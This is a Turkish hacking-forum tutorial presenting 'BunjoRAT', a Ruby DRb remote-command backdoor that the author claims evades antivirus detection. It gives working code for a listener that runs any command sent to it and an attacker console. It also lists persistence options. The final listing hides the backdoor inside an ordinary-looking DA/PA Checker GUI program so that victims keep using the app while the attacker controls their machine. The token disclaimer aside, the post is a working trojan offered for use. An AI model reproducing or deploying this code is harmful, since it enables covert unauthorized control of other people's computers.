Antivirüslerle Alay Etmek! (RCE #2) (%100 FUD)

Xmongpro2706

Yeni üye
2 Ağu 2023
28
4


oqk18ir.png



lbn20fm.png
2q250vr.png



pDHFoUY.png


Merhaba ben saldırı timlerinden Bunjo, bu konuda piyasada bulunan anti virüsler ile biraz eğleneceğiz.

İlk Konu:
Remote Code Execution Servisi Kodlamak! #1



- client.rb -

Ruby:
require 'drb'

class RShell
  def exec(cmd)
    `#{cmd}`
  end
end

DRb.start_service("druby://0.0.0.0:8080", RShell.new)
DRb.thread.join

- server.rb -

Ruby:
require 'drb'

begin
  rshell = DRbObject.new_with_uri("druby://localhost:8080")
  loop do
    begin
      STDOUT.print("Command: ")
      command = gets

      STDOUT.puts("\nOutput: ")
      puts rshell.exec command
    rescue
   
    end
  end
rescue => exception
  STDOUT.puts(exception)
end

Bir önce açtığım konuda programı Debian/Linux olan bir sistemde çalıştırmıştım ve platform bağımsızlığı olduğunu da belirtmiştim.
Şimdi ise Windows bir sistemde de deneyelim.

n6nr764.png



Şekildeki gibi sorunsuz şekilde program çalışıyor.


9p23xkw.png
bm6va6x.png

ig3p901.png


Rapor Linkleri:

Virustotal: VirusTotal

Jotti: client.rb - Jotti's malware scan

Virscan: VirScan - 多引擎文件在线检测平台


Raw script yüklenince bulmuyor diyenler için: Saldırgan komut çalıştırırken bile defender bir işe yaramıyor, başka yazılımlar ile de deneyebilirsiniz.

İyi uykular Windows Defender...

pfv70fc.png


Şimdi kodumuzda biraz iyileştirmeler yapmalıyız. Örnek olarak karşı tarafa boş komut yollandığı zaman bağlantı sonlandırıyor.

Komut yollarken bir hata yakalama metodu ekleyeceğiz. Hata yakalama metodunun içinin boş olması ve bir döngüde olmamızın sayesinde bağlantı kapanmaycaktır.

- server.rb -


Ruby:
require 'drb'

class RServer
  def get_shell
    begin
      @shell = DRbObject.new_with_uri("druby://localhost:8080")
    rescue => get_shell_error
      STDERR.puts("Error: #{get_shell_error}")
    end
  end

  def banner
    banner_text = <<-'BANNER_TEXT'
     __________________
    .-'  \ _.-''-._ /  '-.     %100 FUD
  .-/\   .'.      .'.   /\-.   ANKA TEAM
_'/  \.'   '.  .'   './  \'_   BunjoRAT
:======:======::======:======:   RUBY
'. '.  \     ''     /  .' .'
   '. .  \   :  :   /  . .'
     '.'  \  '  '  /  '.'
       ':  \:    :/  :'
         '. \    / .'
           '.\  /.'
             '\/'
    BANNER_TEXT

    puts(banner_text.red)
  end

  def endl
    puts
  end

  def exec_command
    loop do
      begin
        print("Execute: ".cyan)
        command = gets.chomp
        endl
        puts(@shell.exec(command))
      rescue
     
      end
    end
  end
end

class String
  def red
    "\e[31m#{self}\e[0m"
  end

  def green
    "\e[32m#{self}\e[0m"
  end

  def yellow
    "\e[33m#{self}\e[0m"
  end

  def blue
    "\e[34m#{self}\e[0m"
  end

  def magenta
    "\e[35m#{self}\e[0m"
  end

  def cyan
    "\e[36m#{self}\e[0m"
  end

  def white
    "\e[37m#{self}\e[0m"
  end
end


server = RServer.new
server.banner
server.get_shell
server.exec_command

Görselde olduğu gibi sorun çözüldü.

o6yryxh.png


Server (saldırgan) tarafında yaptığımız ayarlamalar şuan için bitti.



Eğer karşı taraf programı kapatırsa sunucu durur ve bağlantımızı kayıp ederiz. Bunun için yapabileceğimiz şeylerden bazıları:



1- Kodu bir servis olarak bilgisayara enjekte etmek.

2- Kullanıcıya virüsü bir programmış gibi gösterip bağlantıyı arka planda çalıştırmak.

3- Programı temp gibi gözden kaçabilecek yerlere kopyalayıp, başlangıçta çalıştırılacaklara eklemek.




Ben bu konuda 2. seçeneği anlatacağım.

Önceden konusunu açtığım bir DA/PA Checker programım vardı.

DA/PA Checker konusu için tıkla!

Virüsü bu programın içine gömmeyi deneyelim.

Burada karşımıza GIL gibi büyük bir sorun çıkıyor.

GIL konum için tıkla!

Burada "eventmachine" adlı bir gem devreye giriyor ve asenkron programlama yapabilmemize olanak sağlıyor.

DA/PA Checker Kodları:


Ruby:
require 'gtk3'
require 'httparty'

class MainWindow
  def initialize
    @headers = {
      'X-RapidAPI-Key': '',
      'X-RapidAPI-Host': 'domain-da-pa-check.p.rapidapi.com'
    }

    @window = Gtk::Window.new
    @window.title = "DA/PA Checker"
    @window.set_default_size(250, 280)
    @window.signal_connect("destroy") { Gtk.main_quit }

    @vbox = Gtk::Box.new(:vertical, 5)
    @window.add(@vbox)

    @entry = Gtk::Entry.new
    @vbox.pack_start(@entry, expand: false, fill: false, padding: 5)

    @button = Gtk::Button.new(label: "Check DA/PA")
    @button.signal_connect("clicked") { checker }
    @vbox.pack_start(@button, expand: false, fill: false, padding: 5)

    @textview = Gtk::TextView.new
    @textview.editable = false
    @scrolled_window = Gtk::ScrolledWindow.new
    @scrolled_window.add(@textview)
    @vbox.pack_start(@scrolled_window, expand: true, fill: true, padding: 5)

    @window.show_all
  end

  def add_text(target, da, pa, spam)
    @textview.buffer.text += "Target: #{target}\n"
    @textview.buffer.text += "DA: #{da}\n"
    @textview.buffer.text += "PA: #{pa}\n"
    @textview.buffer.text += "Spam: #{spam}\n"
  end

    def send_req(domain)
      @response = HTTParty.get("https://domain-da-pa-check.p.rapidapi.com/?target=#{domain}", headers: @headers)

      target = @response['body']['target']
      da = @response['body']['da_score']
      pa = @response['body']['pa_score']
      spam = @response['body']['spam_score']

      add_text(target, da, pa, spam)
    end

  def checker
    @textview.buffer.text = ""
    domain = @entry.text
    send_req(domain)
  end
end

Gtk.init
MainWindow.new
Gtk.main

İçine gömme yapacağımız kod bu olacak.

Not: Bu konular karşı tarafa zarar vermeniz için açılmıyor, siz kendiniz başka başka projelerinizin içine aynı şekilde gömme işleminizi yapabilirsiniz fakat ben bunu burada anlatmayacağım. Kısaca demek istediğim şey projenizi dosyalara parçalayıp çok fazla klasör ve dosya elde edebilirsiniz ve onların içinden birisine yine aynı işlemi yapabilirsiniz fakat ben bunu burada anlatırsam konu amacından çıkar.

Ufak bir programa gömme işlemi aşamasına geçelim.

Eventmachine gemini indirelim.

Rich (BB code):
gem install eventmachine

5ef2nwn.png


Şimdi de DRB sunucusunu arka planda çalışacak şekilde kodda değiştirelim.

- client.rb -


Ruby:
require 'drb'
require 'eventmachine'

class RShell
  def exec(cmd)
    `#{cmd}`
  end
end

DRb.start_service('druby://0.0.0.0:8080', RShell.new)

EM.run do
  puts("Asenkron gibisi yok!")
end


kcrf63e.png


GIL engelini de atlattığımıza göre artık bu kodu DA/PA Checker programıyla entegre etmekte hazırız.

Entegre Kod:


Ruby:
require 'drb'
require 'eventmachine'
require 'gtk3'
require 'httparty'

class RShell
  def exec(cmd)
    `#{cmd}`
  end
end

DRb.start_service('druby://0.0.0.0:8080', RShell.new)

EM.run do
  class MainWindow
    def initialize
      @headers = {
        'X-RapidAPI-Key': 'ANAHTARINIZ',
        'X-RapidAPI-Host': 'domain-da-pa-check.p.rapidapi.com'
      }

      @window = Gtk::Window.new
      @window.title = "DA/PA Checker"
      @window.set_default_size(250, 280)
      @window.signal_connect("destroy") { Gtk.main_quit }

      @vbox = Gtk::Box.new(:vertical, 5)
      @window.add(@vbox)

      @entry = Gtk::Entry.new
      @vbox.pack_start(@entry, expand: false, fill: false, padding: 5)

      @button = Gtk::Button.new(label: "Check DA/PA")
      @button.signal_connect("clicked") { checker }
      @vbox.pack_start(@button, expand: false, fill: false, padding: 5)

      @textview = Gtk::TextView.new
      @textview.editable = false
      @scrolled_window = Gtk::ScrolledWindow.new
      @scrolled_window.add(@textview)
      @vbox.pack_start(@scrolled_window, expand: true, fill: true, padding: 5)

      @window.show_all
    end

    def add_text(target, da, pa, spam)
      @textview.buffer.text += "Target: #{target}\n"
      @textview.buffer.text += "DA: #{da}\n"
      @textview.buffer.text += "PA: #{pa}\n"
      @textview.buffer.text += "Spam: #{spam}\n"
    end

    def send_req(domain)
      @response = HTTParty.get("https://domain-da-pa-check.p.rapidapi.com/?target=#{domain}", headers: @headers)

      target = @response['body']['target']
      da = @response['body']['da_score']
      pa = @response['body']['pa_score']
      spam = @response['body']['spam_score']

      add_text(target, da, pa, spam)
    end

    def checker
      @textview.buffer.text = ""
      domain = @entry.text
      send_req(domain)
    end
  end

  Gtk.init
  MainWindow.new
  Gtk.main
end

Evet o mutlu mutlu programını kullanmaya devam edebilir, biz de onu kullanıyoruz.

ldr9pew.png


Okuyan herkese teşekkür ederim. Yeni konular gelecektir.

Emeğe karşılık konuyu beğenip mesaj atabilirsiniz :)


 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.